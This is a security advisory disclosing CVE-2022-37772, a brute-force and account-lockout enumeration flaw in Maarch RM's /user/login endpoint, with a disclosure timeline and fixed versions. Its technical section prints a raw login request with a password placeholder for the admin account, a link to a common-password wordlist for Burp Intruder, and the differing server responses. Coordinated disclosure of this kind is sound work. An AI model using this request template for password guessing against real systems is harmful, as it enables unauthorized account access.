Improper Restriction of Excessive Authentication Attempts

Description

Improper Restriction of Excessive Authentication Attempts vulnerability exists that could allow unauthorized access when an attacker uses brute force. Affected Products: Maarch RM - all versions.

Information

- CVE ID: CVE-2022-37772
- Vulnerability Type: Improper Restriction of Excessive Authentication Attempts (CWE-307)
- Vendor of Product: Maarch Xelians
- Affected Product:
  - Maarch RM 2.8.X - all versions < 2.8.6
  - Maarch RM 2.9.X - all versions < 2.9.1
- Affected Component: page: /user/login (POST)
- Editor confirmed: Yes
- Discoverer: François Mehault (francois.mehault -at- proton -dot- me)

References

- Advisory: https://github.com/frame84/vulns
- CVE: CVE-2022-37772
- Product site: https://maarch.ovh/maarch-rm/
- Release advisories:
  - https://labs.maarch.org/maarch/maarchRM/-/blob/Support/2.8.X/CHANGELOG.md
  - https://labs.maarch.org/maarch/maarchRM/-/blob/Support/2.9.X/CHANGELOG.md
- ExploitDB: NA

Approximate Timeline

- 2022/07/18: Vulnerabilities discovered
- 2022/07/29: Vulnerabilities reported to the editor (Maarch Xelians)
- 2022/08/31: Confirmation of vulnerability by the editor
- 2022/10/18: Vendor issued an official fix (Maarch RM 2.8.6 and 2.9.1)

Technical details

Improper Restriction of Excessive Authentication Attempts - Identified on Maarch RM 2.8.3, /user/login (POST)

- Vulnerable request :

```
POST /user/login HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
X-Laabs-Csrf: false
Content-Length: 71
Origin: https://target.com
Referer: https://target.com/user/prompt
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
```

```
Te: trailers
Connection: close

{"userName":"admin","password":"inject_here","requestPath":"/user/prompt"}
```

- Payload example : https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100.txt (sent with Burp Intruder)
- Details : it is possible to conduct a brute force attack on the authentication form due to excessive verbose responses from the application, whether or not a lockout policy is active. If a lockout policy is active, the application informs that the user account is locked out upon presentation of valid credentials. If there is no lockout policy, brute force is by definition possible.
- Privileges: No privilege is required
- error generated with invalid credentials (with or without lockout policy)

```
HTTP/1.1 401 Unauthorized
Date: Mon, 18 Jul 2022 09:02:49 GMT
Server: Apache
X-Laabs-UserStory: app/authentication
X-Laabs-Exception: bundle\auth\Exception\authenticationException; Username and / or password invalid in
/appli/SAE/core/Reflection/Service.php:176
X-Laabs-View: auth/authentication/login
Content-Language: en
Content-Length: 82
Connection: close
Content-Type: application/json

{"status":false,"message":"Nom d\u0027utilisateur et \/ ou mot de passe invalide"}
```

- error generated with lockout policy and valid credentials

```
HTTP/1.1 403 Forbidden
Date: Mon, 18 Jul 2022 10:02:49 GMT
Server: Apache
X-Laabs-UserStory: app/authentication
X-Laabs-Exception: bundle\auth\Exception\authenticationException; Username  is locked in /appli/SAE/core/Reflection/Service.php:176
X-Laabs-View: auth/authentication/login
Content-Language: en
Content-Length: 68
Connection: close
Content-Type: application/json

{"status":false,"message":"L\u0027utilisateur  est verrouill\u00e9"}
```

- message generated without lockout policy and valid credentials

```
HTTP/1.1 200 OK
Date: Mon, 18 Jul 2022 14:53:57 GMT
Server: Apache
Set-Cookie: LAABS-AUTH=<redacted>; expires=Mon, 18-Jul-2022 15:53:57 GMT; Max-Age=3600; path=/; secure; HttpOnly
Set-Cookie: LAABS-CSRF=<redacted>; path=/; secure
X-Laabs-UserStory: app/authentication
X-Laabs-View: auth/authentication/login
Content-Language: en
Content-Length: 53
Connection: close
Content-Type: application/json

{"status":true,"message":"Utilisateur connect\u00e9"}
```